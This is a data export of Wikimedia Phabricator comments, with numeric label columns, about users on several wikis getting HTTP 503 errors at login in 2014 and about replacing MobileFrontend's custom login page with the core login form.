+Here the IP number 91.198.174.xx belongs to Wikimedia Foundation Inc. (Netherlands) and the IP number 10.64.0.yy to IANA (United States - Internet Assigned Numbers Authority).",,,1418307741,,PHID-USER-pha3aaz5l5lqgui7tjc6,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,1,1,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+340469,Certain users are unable to log into their account (HTTP 503 upon login attempt),"Has also been reported at dewiki: https://de.wikipedia.org/w/index.php?title=Wikipedia:Fragen_zur_Wikipedia&oldid=136658267#Login_Problem
+
+I looked into the logs quickly, but wasn't able to find anything relevant :/",,,1418238901,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-30,True,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+340272,Certain users are unable to log into their account (HTTP 503 upon login attempt),Edited the description because problem seems to be user account specific. Person can fail with one user_name with error 503 but successfully login with another with same computer.,,,1418201028,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-30,True,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+340265,Certain users are unable to log into their account (HTTP 503 upon login attempt),"This comment is follow up comment to Stryn comment. Paju who was original reporter did give more detailed error report (copy pasted in below) and Velma confirmed that there has been problems whole week. Information from Paju and Velma translated to english ( [[ https://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28tekniikka%29#Sis.C3.A4.C3.A4nkirjautumisessa_ongelmia_.28Firefox.2FWin.29 | 1 ]], [[ https://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28Wikipedian_k%C3%A4yt%C3%B6n_neuvonta%29#Kirjautumisongelmia | 2) ]]:
+
+- Paju: Problem seems to be account related. Problem persist when he is trying to log in with different computer, ip or browser with user ""Paju"" to fiwiki. At same time login with other accounts it working. Paju doesn't use unified login so he wasn't able to test if login via other wikipedias is working. Changing password doesn't fix the problem. Also it is also tested that using Firefox ""private window tab"" doesn't help. If password is changed via reset password link then login will work once, but then fail again. 
+- Velma: Problems to login with user name ""Velma"" has been ongoing whole week and she confirmed that problem persist when different computers and browsers are used. Problem also exists when svwiki, commons or wikidata is used. Alternative account seems to be working. 
+
+Example error messsage 1 provided  by Paju ; browser 1
+```
+
+    Wikimedia Foundation
+    Error
+    Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
+    If you report this error to the Wikimedia System Administrators, please include the details below.
+    Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Nukketeatteri+Sampo&returntoquery=oldid%3D2037078, from 10.20.0.138 via cp1053 cp1053 ([10.64.32.105]:3128), Varnish XID 2354709726
+    Forwarded for: IP-REMOVED-BY-PAJU, 10.20.0.140, 10.20.0.140, 10.20.0.138
+    Error: 503, Service Unavailable at Mon, 08 Dec 2014 12:32:30 GMT 
+```
+
+Example error  messsage 2 provided  by Paju, different browser, 20 minutes after the password change.
+```
+
+    Wikimedia Foundation
+    Error
+    Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
+    If you report this error to the Wikimedia System Administrators, please include the details below.
+    Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Wikipedia:Etusivu, :from 91.198.174.72 via cp1068 cp1068 ([10.64.0.105]:3128), Varnish XID 523992095
+    Forwarded for: IP-REMOVED-BY-PAJU, 10.20.0.140, 10.20.0.140, 91.198.174.72
+    Error: 503, Service Unavailable at Mon, 08 Dec 2014 12:59:58 GMT 
+```
+",,,1418198753,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-30,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+339789,Certain users are unable to log into their account (HTTP 503 upon login attempt),"This comment is follow up comment to Stryn comment. Paju who was original reporter did give more detailed error report (copy pasted in below) and Velma confirmed that there has been problems whole week. Information from Paju and Velma translated to english ( [[ https://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28tekniikka%29#Sis.C3.A4.C3.A4nkirjautumisessa_ongelmia_.28Firefox.2FWin.29 | 1 ]], [[ https://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28Wikipedian_k%C3%A4yt%C3%B6n_neuvonta%29#Kirjautumisongelmia | 2) ]]:
+
+- Paju: Problem seems to be account related. Problem persist when he is trying to log in with different computer, ip or browser with user ""Paju"" to fiwiki. At same time login with other accounts it working. Paju doesn't use unified login so he wasn't able to test if login via other wikipedias is working. Changing password doesn't fix the problem. Also it is also tested that using Firefox ""private window tab"" doesn't help. 
+- Velma: Problems to login with user name ""Velma"" has been ongoing whole week and she confirmed that problem persist when different computers and browsers are used. Problem also exists when svwiki, commons or wikidata is used. Alternative account seems to be working. 
+
+Example error messsage 1 provided  by Paju ; browser 1
+```
+
+    Wikimedia Foundation
+    Error
+    Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
+    If you report this error to the Wikimedia System Administrators, please include the details below.
+    Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Nukketeatteri+Sampo&returntoquery=oldid%3D2037078, from 10.20.0.138 via cp1053 cp1053 ([10.64.32.105]:3128), Varnish XID 2354709726
+    Forwarded for: IP-REMOVED-BY-PAJU, 10.20.0.140, 10.20.0.140, 10.20.0.138
+    Error: 503, Service Unavailable at Mon, 08 Dec 2014 12:32:30 GMT 
+```
+
+Example error  messsage 2 provided  by Paju, different browser, 20 minutes after the password change.
+```
+
+    Wikimedia Foundation
+    Error
+    Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
+    If you report this error to the Wikimedia System Administrators, please include the details below.
+    Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Wikipedia:Etusivu, :from 91.198.174.72 via cp1068 cp1068 ([10.64.0.105]:3128), Varnish XID 523992095
+    Forwarded for: IP-REMOVED-BY-PAJU, 10.20.0.140, 10.20.0.140, 91.198.174.72
+    Error: 503, Service Unavailable at Mon, 08 Dec 2014 12:59:58 GMT 
+```
+",,,1418125489,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-30,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+337789,Certain users are unable to log into their account (HTTP 503 upon login attempt),"This comment is follow up comment to Stryn comment. Paju who was original reporter did give more detailed error report (copy pasted in below) and Velma confirmed that there has been problems whole week. Information from Paju and Velma translated to english ( [[ https://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28tekniikka%29#Sis.C3.A4.C3.A4nkirjautumisessa_ongelmia_.28Firefox.2FWin.29 | 1 ]], [[ https://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28Wikipedian_k%C3%A4yt%C3%B6n_neuvonta%29#Kirjautumisongelmia | 2) ]]:
+
+- Paju: Problem seems to be account related. Problem persist when he is trying to log in with different computer, ip or browser with user ""Paju"" to fiwiki. At same time login with other accounts it working. Paju doesn't use unified login so he wasn't able to test if login via other wikipedias is working. Changing password doesn't fix the problem. 
+- Velma: Problems to login with user name ""Velma"" has been ongoing whole week and she confirmed that problem persist when different computers and browsers are used. Problem also exists when svwiki, commons or wikidata is used. Alternative account seems to be working. 
+
+Example error messsage 1 provided  by Paju ; browser 1
+```
+
+    Wikimedia Foundation
+    Error
+    Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
+    If you report this error to the Wikimedia System Administrators, please include the details below.
+    Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Nukketeatteri+Sampo&returntoquery=oldid%3D2037078, from 10.20.0.138 via cp1053 cp1053 ([10.64.32.105]:3128), Varnish XID 2354709726
+    Forwarded for: IP-REMOVED-BY-PAJU, 10.20.0.140, 10.20.0.140, 10.20.0.138
+    Error: 503, Service Unavailable at Mon, 08 Dec 2014 12:32:30 GMT 
+```
+
+Example error  messsage 2 provided  by Paju, different browser, 20 minutes after the password change.
+```
+
+    Wikimedia Foundation
+    Error
+    Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
+    If you report this error to the Wikimedia System Administrators, please include the details below.
+    Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Wikipedia:Etusivu, :from 91.198.174.72 via cp1068 cp1068 ([10.64.0.105]:3128), Varnish XID 523992095
+    Forwarded for: IP-REMOVED-BY-PAJU, 10.20.0.140, 10.20.0.140, 91.198.174.72
+    Error: 503, Service Unavailable at Mon, 08 Dec 2014 12:59:58 GMT 
+```
+",,,1418055302,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-30,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+337773,Certain users are unable to log into their account (HTTP 503 upon login attempt),"This comment is follow up comment to Stryn comment. Paju who was original reporter did give more detailed error report (copy pasted in below) and Velma confirmed that there has been problems whole week. Information from Paju and Velma translated to english ( [[ https://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28tekniikka%29#Sis.C3.A4.C3.A4nkirjautumisessa_ongelmia_.28Firefox.2FWin.29 | 1 ]], [[ https://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28Wikipedian_k%C3%A4yt%C3%B6n_neuvonta%29#Kirjautumisongelmia | 2) ]]:
+
+- Paju: Problem seems to be account related. Problem persist when he is trying to log in with different computer, ip or browser with user ""Paju"" to fiwiki. At same time login with other accounts it working. Paju doesn't use unified login so he wasn't able to test if login via other wikipedias is working. Changing password doesn't fix the problem. 
+- Velma: Problems to login with user name ""Velma"" has been ongoing whole week and she confirmed that problem persist when different computers and browsers are used. Problem also exists when svwiki, commons or wikidata is used. Alternative account seems to be working. 
+
+Example error messsage 1 provided  by Paju ; browser 1
+```
+
+    Wikimedia Foundation
+    Error
+    Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
+    If you report this error to the Wikimedia System Administrators, please include the details below.
+    Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Nukketeatteri+Sampo&returntoquery=oldid%3D2037078, from 10.20.0.138 via cp1053 cp1053 ([10.64.32.105]:3128), Varnish XID 2354709726
+    Forwarded for: IP-REMOVED-BY-PAJU, 10.20.0.140, 10.20.0.140, 10.20.0.138
+    Error: 503, Service Unavailable at Mon, 08 Dec 2014 12:32:30 GMT 
+```
+
+Example error  messsage 2 provided  by Paju, different browser, password is changed 20 minutes before.
+```
+
+    Wikimedia Foundation
+    Error
+    Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
+    If you report this error to the Wikimedia System Administrators, please include the details below.
+    Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Wikipedia:Etusivu, :from 91.198.174.72 via cp1068 cp1068 ([10.64.0.105]:3128), Varnish XID 523992095
+    Forwarded for: IP-REMOVED-BY-PAJU, 10.20.0.140, 10.20.0.140, 91.198.174.72
+    Error: 503, Service Unavailable at Mon, 08 Dec 2014 12:59:58 GMT 
+```
+",,,1418055254,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-30,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+337762,Certain users are unable to log into their account (HTTP 503 upon login attempt),"This comment is follow up comment to Stryn comment. Paju who was original reporter did give more detailed error report (copy pasted in below) and Velma confirmed that there has been problems whole week. Information from Paju and Velma translated to english ( [[ https://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28tekniikka%29#Sis.C3.A4.C3.A4nkirjautumisessa_ongelmia_.28Firefox.2FWin.29 | 1 ]], [[ https://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28Wikipedian_k%C3%A4yt%C3%B6n_neuvonta%29#Kirjautumisongelmia | 2) ]]:
+
+- Paju: Problem seems to be account related. Problem persist when he is trying to log in with different computer, ip or browser with user ""Paju"" to fiwiki. At same time login with other accounts it working. Paju doesn't use unified login so he wasn't able to test if login via other wikipedias is working. Changing password doesn't fix the problem. 
+- Velma: Problems to login with user name ""Velma"" has been ongoing whole week and she confirmed that problem persist when different computers and browsers are used. Problem also exists when svwiki, commons or wikidata is used. Alternative account seems to be working. 
+
+Example error messsage 1 provided  by Paju ; browser 1
+```
+
+    Wikimedia Foundation
+    Error
+    Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
+    If you report this error to the Wikimedia System Administrators, please include the details below.
+    Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Nukketeatteri+Sampo&returntoquery=oldid%3D2037078, from 10.20.0.138 via cp1053 cp1053 ([10.64.32.105]:3128), Varnish XID 2354709726
+    Forwarded for: IP-REMOVED-BY-PAJU, 10.20.0.140, 10.20.0.140, 10.20.0.138
+    Error: 503, Service Unavailable at Mon, 08 Dec 2014 12:32:30 GMT 
+```
+
+Example error  messsage 2 provided  by Paju, different browser, browser is changed 20 minutes before.
+```
+
+    Wikimedia Foundation
+    Error
+    Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
+    If you report this error to the Wikimedia System Administrators, please include the details below.
+    Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Wikipedia:Etusivu, :from 91.198.174.72 via cp1068 cp1068 ([10.64.0.105]:3128), Varnish XID 523992095
+    Forwarded for: IP-REMOVED-BY-PAJU, 10.20.0.140, 10.20.0.140, 91.198.174.72
+    Error: 503, Service Unavailable at Mon, 08 Dec 2014 12:59:58 GMT 
+```
+",,,1418055224,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-30,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+337578,Certain users are unable to log into their account (HTTP 503 upon login attempt),"This comment is follow up comment to Stryn comment. Paju who was original reporter did give more detailed error report (copy pasted in below) and Velma confirmed that there has been problems whole week. Information from Paju and Velma translated to english ( [[ https://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28tekniikka%29#Sis.C3.A4.C3.A4nkirjautumisessa_ongelmia_.28Firefox.2FWin.29 | 1 ]], [[ https://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28Wikipedian_k%C3%A4yt%C3%B6n_neuvonta%29#Kirjautumisongelmia | 2) ]]:
+
+- Paju: Problem seems to be account related. Problem persist when he is trying to log in with different computer, ip or browser with user ""Paju"" to fiwiki. At same time login with other accounts it working. Paju doesn't use unified login so he wasn't able to test if login via other wikipedias is working. Changing password doesn't fix the problem. 
+- Velma: Problems to login with user name ""Velma"" has been ongoing whole week and she confirmed that problem persist when different computers and browsers are used. Problem also exists when svwiki, commons or wikidata is used. Alternative account seems to be working. 
+
+Example error messsage 1 provided  by Paju ; browser 1
+```
+
+    Wikimedia Foundation
+    Error
+    Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
+    If you report this error to the Wikimedia System Administrators, please include the details below.
+    Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Nukketeatteri+Sampo&returntoquery=oldid%3D2037078, from 10.20.0.138 via cp1053 cp1053 ([10.64.32.105]:3128), Varnish XID 2354709726
+    Forwarded for: OMA-IP, 10.20.0.140, 10.20.0.140, 10.20.0.138
+    Error: 503, Service Unavailable at Mon, 08 Dec 2014 12:32:30 GMT 
+```
+
+Example error  messsage 2 provided  by Paju, different browser, browser is changed 20 minutes before.
+```
+
+    Wikimedia Foundation
+    Error
+    Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
+    If you report this error to the Wikimedia System Administrators, please include the details below.
+    Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Wikipedia:Etusivu, :from 91.198.174.72 via cp1068 cp1068 ([10.64.0.105]:3128), Varnish XID 523992095
+    Forwarded for: OMA-IP, 10.20.0.140, 10.20.0.140, 91.198.174.72
+    Error: 503, Service Unavailable at Mon, 08 Dec 2014 12:59:58 GMT 
+```
+",,,1418054222,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-30,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+332681,Certain users are unable to log into their account (HTTP 503 upon login attempt),"I don't know if that's the same problem, but on 19th of November one user on the Finnish Wikipedia [[ https://fi.wikipedia.org/w/index.php?title=Wikipedia:Kahvihuone_%28tekniikka%29&oldid=14463542#Sis.C3.A4.C3.A4nkirjautumisessa_ongelmia_.28Firefox.2FWin.29 | reported ]] that he couldn't log in by using Firefox. When he tried to login he was redirected to Wikimedia Foundation page.
+
+He managed to log in by using another browser and he was able to log in to another Wikipedia by using Firefox. I told him to clean up his cache in Firefox. He told that he cleaned his cache and rebooted his computer but it didn't help. Then he updated some FF plugins, used CCleaner to clean up much more of things and then deleted all FF history and voilà, he was again able to log in on Firefox.",,,1416861788,,PHID-USER-6majuboi566q3ozbh27r,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-32,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,1,1,1,0,1
+332680,Certain users are unable to log into their account (HTTP 503 upon login attempt),"I don't know if't that the same problem, but on 19th of November one user on the Finnish Wikipedia [[ https://fi.wikipedia.org/w/index.php?title=Wikipedia:Kahvihuone_%28tekniikka%29&oldid=14463542#Sis.C3.A4.C3.A4nkirjautumisessa_ongelmia_.28Firefox.2FWin.29 | reported ]] that he couldn't log in by using Firefox. When he tried to login he was redirected to Wikimedia Foundation page.
+
+He managed to log in by using another browser and he was able to log in to another Wikipedia by using Firefox. I told him to clean up his cache in Firefox. He told that he cleaned his cache and rebooted his computer but it didn't help. Then he updated some FF plugins, used CCleaner to clean up much more of things and then deleted all FF history and voilà, he was again able to log in on Firefox.",,,1416861769,,PHID-USER-6majuboi566q3ozbh27r,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-32,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,1,1,1,0,1
+332583,Certain users are unable to log into their account (HTTP 503 upon login attempt),"Another user has also reported such an error [[https://meta.wikimedia.org/wiki/Talk:Global_AbuseFilter#Can.E2.80.99t_log_in | here ]] while trying to log in at io.wiktionary.org
+
+Is this still an issue?",,,1416848525,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-32,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,1
+332582,Certain users are unable to log into their account (HTTP 503 upon login attempt),"An io.wiktionary.org user has also reported such an error while trying to log in at [[https://meta.wikimedia.org/wiki/Talk:Global_AbuseFilter#Can.E2.80.99t_log_in | meta ]].
+
+Is this still an issue?",,,1416848393,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-32,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,1
+332111,Certain users are unable to log into their account (HTTP 503 upon login attempt),"Cannot reproduce with Firefox 33 on Fedora 20 - no problems logging in on https://gu.wikipedia.org . Cannot see anything suspicious on https://wikitech.wikimedia.org/w/index.php?title=Server_Admin_Log either.
+
+It is extremely weird if this really only happens on Firefox. 
+Do you always get ""from 10.64.0.103 via cp1055 cp1055"" in that message?
+Have you tried to bypass your browser cache (see https://en.wikipedia.org/wiki/WP:BYPASS )?",,,1416058174,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-33,True,0,1,1,0,1,1,1,0,0,1,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,0,0,0,1,0,0,1
+74910,Getting rid of own login page (tracking),"It also happens for alpha mode (yay!), i want to have a bug for this for tracking purposes.
+
+The login page of MobileFrontend actually is provided by it's own implementation to fit the needs of mobile devices. It isn't really needed anymore, the login page customisations should be done with special css rules or in core. Actually it's difficult to overwrite the loginpage for other extensions (like GoogleLogin), if MobileFrontend loads after this extension.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1415036040,1441316105.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-wmes5uwwfa4lhsk2s5fp,task_description,resolved,True,c3,1,True,True,True,-35,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+520662,Getting rid of own login page (tracking),"Change 231146 merged by jenkins-bot:
+Use core login form
+
+[[https://gerrit.wikimedia.org/r/231146]]",,,1441316635,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wmes5uwwfa4lhsk2s5fp,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+520650,Getting rid of own login page (tracking),*yay*,,,1441316105,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-wmes5uwwfa4lhsk2s5fp,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+516838,Getting rid of own login page (tracking),@jdlrobson I know you wanted to get this done sooner than later. Feel free to put subtasks into the next sprint board (search for 55 on phab),,,1440787627,,PHID-USER-cjstd4vv3u3gq2sijr7d,False,,,PHID-TASK-wmes5uwwfa4lhsk2s5fp,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,0,0,0,0,1,0,0
+513273,Getting rid of own login page (tracking),"It's already on high priority so it will show up on searches.
+
+I agree this needs to happen sooner than later, but we also need to focus more on getting quick surveys and performance work done, we may be  spreading a bit too thin and we may be risking not accomplishing the goals we set.
+
+As said this is high and will show up for next sprints so don't worry!
+
+Maybe ping reviewers manually?
+
+",,,1440407666,,PHID-USER-cjstd4vv3u3gq2sijr7d,False,,,PHID-TASK-wmes5uwwfa4lhsk2s5fp,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,1,0,0
